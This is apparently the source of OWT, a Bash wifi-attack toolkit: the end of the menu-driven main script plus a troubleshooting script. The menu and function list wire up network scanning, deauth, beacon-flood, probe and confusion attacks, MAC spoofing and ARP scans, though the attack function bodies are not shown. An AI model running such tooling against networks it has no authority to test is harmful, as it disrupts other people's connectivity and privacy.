would you like do do this now? ${LRED}(Y/N)${NONE}" 698 | read -r ra 699 | 700 | if [[ "$ra" == ["yY"]* ]]; then 701 | scan_network_networkname 702 | sleep 0.5 703 | else 704 | clear 705 | echo "Returning to Main Menu.." 706 | sleep 0.8 707 | main_menu 708 | fi 709 | 710 | else 711 | 712 | sleep 0.1 713 | 714 | fi 715 | } 716 | 717 | #scan networks specifically for attacks that require it and may be missing a targeted network name 718 | scan_network_networkname () { 719 | clear 720 | check_eth0 721 | check_iface 722 | if [ "$Mod" == "Monitor" ]; then 723 | sleep 0.1 724 | else 725 | echo -e "${LRED}This tool requires Monitor Mode${NONE}" 726 | read -r -p "Press Enter to return to Main Menu" 727 | main_menu 728 | fi 729 | scan_animation & 730 | 731 | trap 'airmon-ng stop $iface > /dev/null;rm otp-01.csv 2> /dev/null' EXIT 732 | xterm -e airodump-ng --output-format csv -w otp "$iface" > /dev/null & sleep 10 ; kill $! 733 | sed -i '1d' otp-01.csv 734 | kill %1 735 | echo -e "\n\n${LRED}Scan Results${NONE}" 736 | cut -d "," -f 14 otp-01.csv | nl -n ln -w 6 737 | while [ "${S}" -gt "$(wc -l otp-01.csv | cut -d " " -f 1)" ] || [ "${S}" -lt 1 ]; do 738 | echo -e "\n${LBLUE}Select a Network" 739 | read -r -p "$(tput setaf 7) " S 740 | done 741 | nn=$(sed -n "${S}p" < otp-01.csv | cut -d "," -f 14 ) 742 | rm -rf otp-01.csv 2> /dev/null 743 | echo -e "\n[${LGREEN}${nn}${NONE} ] Selected" 744 | read -r -p "$(tput setaf 7)Press Enter to Continue.." 745 | clear 746 | } 747 | 748 | #animation while scanning networks. 749 | 750 | ii="S" 751 | oo="Sc" 752 | pp="Sca" 753 | ll="Scan" 754 | kk="Scann" 755 | jj="Scanni" 756 | hh="Scannin" 757 | gg="Scanning" 758 | ff="Scanning-" 759 | vv="Scanning-N" 760 | bb="Scanning-Ne" 761 | cc="Scanning-Net" 762 | xx="Scanning-Netw" 763 | zz="Scanning-Netwo" 764 | yy="Scanning-Networ" 765 | tt="Scanning-Network" 766 | qq="Scanning-Networks" 767 | 768 | s() { 769 | sleep 0.15 770 | clear 771 | } 772 | 773 | scan_animation() { 774 | echo -e "[${LBLUE}${ii}${NONE}]" 775 | s 776 | echo -e "[${LBLUE}${oo}${NONE}]" 777 | s 778 | echo -e "[${LBLUE}${pp}${NONE}]" 779 | s 780 | echo -e "[${LBLUE}${ll}${NONE}]" 781 | s 782 | echo -e "[${LBLUE}${kk}${NONE}]" 783 | s 784 | echo -e "[${LBLUE}${jj}${NONE}]" 785 | s 786 | echo -e "[${LBLUE}${hh}${NONE}]" 787 | s 788 | echo -e "[${LBLUE}${gg}${NONE}]" 789 | s 790 | echo -e "[${LBLUE}${ff}${NONE}]" 791 | s 792 | echo -e "[${LBLUE}${vv}${NONE}]" 793 | s 794 | echo -e "[${LBLUE}${bb}${NONE}]" 795 | s 796 | echo -e "[${LBLUE}${cc}${NONE}]" 797 | s 798 | echo -e "[${LBLUE}${xx}${NONE}]" 799 | s 800 | echo -e "[${LBLUE}${zz}${NONE}]" 801 | s 802 | echo -e "[${LBLUE}${yy}${NONE}]" 803 | s 804 | echo -e "[${LBLUE}${tt}${NONE}]" 805 | s 806 | echo -e "[${LBLUE}${qq}${NONE}]" 807 | } 808 | 809 | #gives the user to stop or keep montior mode upon exiting the script traps control c. this is a beta feature needs improvment. 810 | 811 | termination () { 812 | check_iface 813 | if [ "$Mod" == "Managed" ]; then 814 | exit 815 | else 816 | clear 817 | echo -e "${LBLUE}Exiting OWT, would you like to remain in Monitor Mode? ${LRED}(Y/N)${NONE}" 818 | read -r ro 819 | fi 820 | if [[ "$ro" == ["yY"]* ]]; then 821 | exit 822 | else 823 | service network-manager start 824 | iface=$(airmon-ng | awk 'NR==4' | awk '{print $2}') 825 | mode=$(iwconfig "$iface" | sed -n '/Mode:/s/.*Mode://; s/ .*//p') 826 | if [ "$mode" == "Managed" ]; then 827 | Mod=Managed 828 | else 829 | Mod=Monitor 830 | fi 831 | if [ "$Mod" == "Managed" ]; then 832 | clear 833 | echo -e "${LRED}Device already in $man mode ${NONE}" 834 | sleep 0.5 835 | main_menu 836 | else 837 | sudo airmon-ng stop "$iface" 838 | fi 839 | clear 840 | exit 841 | fi 842 | } 843 | 844 | trap termination EXIT 845 | 846 | #prints the main menu with options 847 | 848 | main_menu () { 849 | clear 850 | check_iface 851 | 852 | echo -e "${LRED} 853 | ███████ █████ ███ █████ ███████████ 854 | ███░░░░░███ ░░███ ░███ ░░███ ░█░░░███░░░█ 855 | ███ ░░███ ░███ ░███ ░███ ░ ░███ ░ 856 | ░███ ░███ ░███ ░███ ░███ ░███ 857 | ░███ ░███ ░░███ █████ ███ ░███ 858 | ░░███ ███ ░░░█████░█████░ ░███ 859 | ░░░███████░ ░░███ ░░███ █████ 860 | ░░░░░░░ ░░░ ░░░ ░░░░░ " 861 | 862 | 863 | ewr "\n${NONE}[${LRED}Interface${NONE}]${LBLUE} ${iface}${NONE} [${LRED}Mode${NONE}]${LBLUE} ${Mod}${NONE} [${LRED}Target Network${NONE}]${LBLUE} ${nn}${NONE}\n" 864 | 865 | ewr "${PURPLE}---------${NONE}[${LBLUE}General${NONE}]${PURPLE}----------\n" 866 | ewr "${NONE}[${LGREEN}0${NONE}] ${YELLOW}Exit" 867 | ewr "${NONE}[${LGREEN}1${NONE}] ${YELLOW}Main Menu" 868 | ewr "${NONE}[${LGREEN}2${NONE}] ${YELLOW}Put Device in Monitor Mode" 869 | ewr "${NONE}[${LGREEN}3${NONE}] ${YELLOW}Put Device in Managed Mode" 870 | ewr "${NONE}[${LGREEN}4${NONE}] ${YELLOW}Scan Networks\n" 871 | ewr "${PURPLE}-------${NONE}[${LBLUE}Wifi Attacks${NONE}]${PURPLE}-------\n" 872 | ewr "${NONE}[${LGREEN}5${NONE}] ${YELLOW}Wifi Attack Menu${NONE}\n" 873 | ewr "${PURPLE}----------${NONE}[${LBLUE}Other${NONE}]${PURPLE}-----------\n" 874 | ewr "${NONE}[${LGREEN}6${NONE}] ${YELLOW}Spoof Your Mac Address" 875 | ewr "${NONE}[${LGREEN}7${NONE}] ${YELLOW}ARP Scan For Devices" 876 | ewr "${NONE}[${LGREEN}8${NONE}] ${YELLOW}Send SMS Message to a Phone Number" 877 | ewr "${NONE}[${LGREEN}9${NONE}] ${YELLOW}About owt\n" 878 | ewr "${PURPLE}----------------------------${NONE}" 879 | while true; do 880 | ewr "\n${LRED}Select an option:${NONE}" 881 | read -r -p "$(tput setaf 7)" option 882 | case $option in 883 | 884 | 0) echo -e "\n${NONE}${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 885 | read -r -p "Are you sure? Press Enter.." 886 | clear 887 | exit 0 888 | ;; 889 | 1) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 890 | read -r -p "Are you sure? Press Enter.." 891 | main_menu 892 | ;; 893 | 2) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 894 | read -r -p "Are you sure? Press Enter.." 895 | monitor_mode 896 | ;; 897 | 3) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 898 | read -r -p "Are you sure? Press Enter.." 899 | managed_mode 900 | ;; 901 | 4) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 902 | read -r -p "Are you sure? Press Enter.." 903 | scan_networks 904 | ;; 905 | 5) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 906 | read -r -p "Are you sure? Press Enter.." 907 | wifi_attacks_menu 908 | ;; 909 | 6) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 910 | read -r -p "Are you sure? Press Enter.." 911 | mac_spoof 912 | ;; 913 | 7) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 914 | read -r -p "Are you sure? Press Enter.." 915 | arp_scan 916 | ;; 917 | 8) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 918 | read -r -p "Are you sure? Press Enter.." 919 | send_sms 920 | ;; 921 | 9) echo -e "\n${YELLOW}Selected${NONE}» [${YELLOW}$option${NONE}]" 922 | read -r -p "Are you sure? Press Enter.." 923 | about_page 924 | ;; 925 | *) echo -e "Not an Option" 926 | main_menu 927 | ;; 928 | esac 929 | done 930 | } 931 | 932 | #calls for main menu function 933 | clear 934 | main_menu 935 | 936 | #all functions 937 | OWT () { 938 | intro_1 939 | intro_2 940 | permissions_prompt 941 | check_monitor_mode 942 | check_dependencies 943 | main_menu 944 | monitor_mode 945 | managed_mode 946 | scan_networks 947 | about_page 948 | wifi_attacks_menu 949 | beacon_flood_attack 950 | deauth_attack 951 | confusion_attack 952 | probe_attack 953 | check_mode_for_vars 954 | check_mode 955 | check_network_name 956 | scan_network_networkname 957 | termination 958 | ctrl_c 959 | scan_animation 960 | arp_scan 961 | arp_command 962 | arp_output 963 | mac_spoof 964 | } 965 | 966 | OWT 967 | -------------------------------------------------------------------------------- /troubleshoot.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash/ 2 | #owt trouble shoot 3 | #created by clu3bot (Brennan Mccown) 4 | 5 | #colors vars 6 | LBLUE='\033[1;34m' 7 | LRED='\033[1;31m' 8 | LGREEN='\033[1;32m' 9 | RED='\033[0;31m' 10 | YELLOW='\033[1;33m' 11 | NONE='\033[0m' 12 | PURPLE='\033[1;35m' 13 | CYAN='\033[0;36m' 14 | GREEN='\033[0;32m' 15 | #echowrap 16 | e() { 17 | echo -e "$@" 18 | } 19 | #output 20 | output() { 21 | e "${LBLUE}Output${NONE} ${GREEN}GREEN${NONE} is good ${LRED}RED${NONE} is bad" 22 | e "${LBLUE}------------------------------------${NONE}" 23 | } 24 | 25 | #check if a wireless interface exists 26 | check_interface() { 27 | iface=$(airmon-ng | awk 'NR==4' | awk '{print $2}') 28 | if [[ -z "${iface// }" ]]; then 29 | iface="null" 30 | fi 31 | } 32 | ifacestatus() { 33 | if [ "${iface}" == "null" ]; then 34 | e "${LRED}No wireless interface found${NONE}" 35 | else 36 | e "${GREEN}Wireless interface found${NONE}" 37 | fi 38 | } 39 | #display for check if a wireless interface exists 40 | display_check_interface() { 41 | clear 42 | output 43 | check_interface 44 | e "${LRED}Checking for wireless interface..${NONE}" 45 | sleep 2 46 | if [[ "${iface}" == "null" ]]; then 47 | e "${LRED}No wireless interface found${NONE}" 48 | else 49 | e "${GREEN}Wireless interface found${NONE}" 50 | fi 51 | sleep 1 52 | clear 53 | if [[ "${iface}" == "null" ]]; then 54 | output 55 | e "${LRED}No wireless interface found${NONE}" 56 | e "${LBLUE}------------------------------------${NONE}" 57 | else 58 | output 59 | e "${GREEN}Wireless interface found${NONE}" 60 | e "${LBLUE}------------------------------------${NONE}" 61 | fi 62 | } 63 | #check if device can be put in monitor mode 64 | check_monitor() { 65 | if [ "${iface}" == "null" ]; then 66 | mode="null" 67 | fi 68 | } 69 | 70 | monitorstatus() { 71 | if [ "${mode}" == "null" ]; then 72 | e "${LRED}Interface is not suitable for Monitor Mode${NONE}" 73 | else 74 | e "${GREEN}Interface is suitable for Monitor Mode${NONE}" 75 | fi 76 | } 77 | 78 | #display for check if device can be put in monitor mode 79 | display_check_monitor() { 80 | check_monitor 81 | e "${LRED}Checking for interface..${NONE}" 82 | sleep 1 83 | e "${LRED}Checking if interface is suitable for Monitor Mode${NONE}" 84 | sleep 1 85 | if [ "${mode}" == "null" ]; then 86 | e "${LRED}Interface is not suitable for Monitor Mode${NONE}" 87 | else 88 | e "${GREEN}Interface is suitable for Monitor Mode${NONE}" 89 | fi 90 | clear 91 | if [ "${mode}" == "null" ]; then 92 | output 93 | ifacestatus 94 | e "${LRED}Interface is not suitable for Monitor Mode${NONE}" 95 | e "${LBLUE}------------------------------------${NONE}" 96 | else 97 | output 98 | ifacestatus 99 | e "${GREEN}Interface is suitable for Monitor Mode${NONE}" 100 | e "${LBLUE}------------------------------------${NONE}" 101 | fi 102 | } 103 | 104 | #check if all dependencies are installed 105 | check_dependencies() { 106 | dependencies=(aircrack-ng mdk3 xterm macchanger) 107 | for d in "${dependencies[*]}"; do 108 | if [ "$(dpkg-query -W -f='${Status}' $d 2>/dev/null | grep -c "ok installed")" -eq 0 ]; then 109 | dependencies="null" 110 | fi 111 | done 112 | } 113 | dependenciesstatus() { 114 | if [[ "${dependencies}" == "null" ]]; then 115 | e "${LRED}Missing Required Dependencies${NONE}" 116 | else 117 | e "${GREEN}All Dependencies Installed${NONE}" 118 | fi 119 | } 120 | #display for check if all dependencies are installed 121 | display_check_dependencies() { 122 | check_dependencies & 123 | e "${LRED}Scanning Directories..${NONE}" 124 | sleep 1.25 125 | e "${LRED}Checking for Dependencies..${NONE}" 126 | sleep 1.25 127 | if [[ "${dependencies}" == "null" ]]; then 128 | e "${LRED}Missing Required Dependencies${NONE}" 129 | else 130 | e "${GREEN}All Dependencies installed${NONE}" 131 | fi 132 | clear 133 | if [ "${dependencies}" == "null" ]; then 134 | output 135 | ifacestatus 136 | monitorstatus 137 | e "${LRED}Missing required Dependencies${NONE}" 138 | e "${LBLUE}------------------------------------${NONE}" 139 | else 140 | output 141 | ifacestatus 142 | monitorstatus 143 | e "${GREEN}All Dependencies installed${NONE}" 144 | e "${LBLUE}------------------------------------${NONE}" 145 | fi 146 | } 147 | #check if user is on a distro of linux that is supported 148 | check_distro() { 149 | di=$(lsb_release -is) 150 | if [[ -z "${di// }" ]]; then 151 | distro="null" 152 | fi 153 | } 154 | distrostatus() { 155 | if [ "${distro}" == "null" ]; then 156 | e "${LRED}The distrobution of linux you are using is not supported${NONE}" 157 | else 158 | e "${GREEN}Compatible Linux Distrobution${NONE}" 159 | fi 160 | } 161 | 162 | #display for check if user is on a distro of linux that is supported 163 | display_check_distro() { 164 | check_distro 165 | e "${LRED}Checking linux Distrobution..${NONE}" 166 | sleep 1.25 167 | e "${LRED}Checking compatibility..${NONE}" 168 | sleep 1.25 169 | if [ "${distro}" == "null" ]; then 170 | e "${LRED}The distrobution of linux you are using is not supported${NONE}" 171 | else 172 | e "${GREEN}Compatible Linux Distrobution${NONE}" 173 | fi 174 | clear 175 | if [ "${distro}" == "null" ]; then 176 | output 177 | ifacestatus 178 | monitorstatus 179 | dependenciesstatus 180 | e "${LRED}The distrobution of linux you are using is not supported${NONE}" 181 | e "${LBLUE}------------------------------------${NONE}" 182 | else 183 | output 184 | ifacestatus 185 | monitorstatus 186 | dependenciesstatus 187 | e "${GREEN}Compatible Linux Distrobution${NONE}" 188 | e "${LBLUE}------------------------------------${NONE}" 189 | fi 190 | } 191 | #dns established 192 | dns_established() { 193 | dns="valid" 194 | } 195 | #check if dns can be established 196 | check_dns() { 197 | if ping -q -c 1 -W 1 8.8.8.8 >/dev/null; then 198 | dns_established 199 | fi 200 | } 201 | dnsstatus() { 202 | if [ "${dns}" == "valid" ]; then 203 | e "${GREEN}DNS Connection Established${NONE}" 204 | else 205 | e "${LRED}DNS Could not be Established${NONE}" 206 | fi 207 | } 208 | #display for check if dns can be established 209 | display_check_dns() { 210 | check_dns 211 | e "${LRED}Checking for DNS connection..${NONE}" 212 | sleep 1.4 213 | e "${LRED}Attempting to Connect..${NONE}" 214 | sleep 1.3 215 | if [ "${dns}" == "valid" ]; then 216 | e "${GREEN}DNS Connection Established${NONE}" 217 | else 218 | e "${LRED}DNS Could not be Established${NONE}" 219 | fi 220 | clear 221 | if [ "${dns}" == "valid" ]; then 222 | output 223 | ifacestatus 224 | monitorstatus 225 | dependenciesstatus 226 | distrostatus 227 | e "${GREEN}DNS Connection Established${NONE}" 228 | e "${LBLUE}------------------------------------${NONE}" 229 | else 230 | output 231 | ifacestatus 232 | monitorstatus 233 | dependenciesstatus 234 | distrostatus 235 | e "${LRED}DNS Could not be Established${NONE}" 236 | e "${LBLUE}------------------------------------${NONE}" 237 | fi 238 | } 239 | #check if user is root 240 | check_permission() { 241 | isroot=$(whoami) 242 | if [ "${isroot}" == "root" ]; then 243 | perm="valid" 244 | fi 245 | } 246 | #display for check if user is root 247 | display_check_permission() { 248 | check_permission 249 | e "${LRED}Checking if user is root${NONE}" 250 | sleep 1.4 251 | if [ "${perm}" == "valid" ]; then 252 | e "${GREEN}User is root user${NONE}" 253 | else 254 | e "${LRED}User is not root make sure to run as root${NONE}" 255 | fi 256 | clear 257 | if [ "${perm}" == "valid" ]; then 258 | output 259 | ifacestatus 260 | monitorstatus 261 | dependenciesstatus 262 | distrostatus 263 | dnsstatus 264 | e "${GREEN}User is root user${NONE}" 265 | e "${LBLUE}------------------------------------${NONE}" 266 | else 267 | output 268 | ifacestatus 269 | monitorstatus 270 | dependenciesstatus 271 | distrostatus 272 | dnsstatus 273 | e "${LRED}User is not root make sure to run as root${NONE}" 274 | e "${LBLUE}------------------------------------${NONE}" 275 | fi 276 | } 277 | 278 | troubleshoot() { 279 | display_check_interface 280 | display_check_monitor 281 | display_check_dependencies 282 | display_check_distro 283 | display_check_dns 284 | display_check_permission 285 | } 286 | 287 | troubleshoot 288 | --------------------------------------------------------------------------------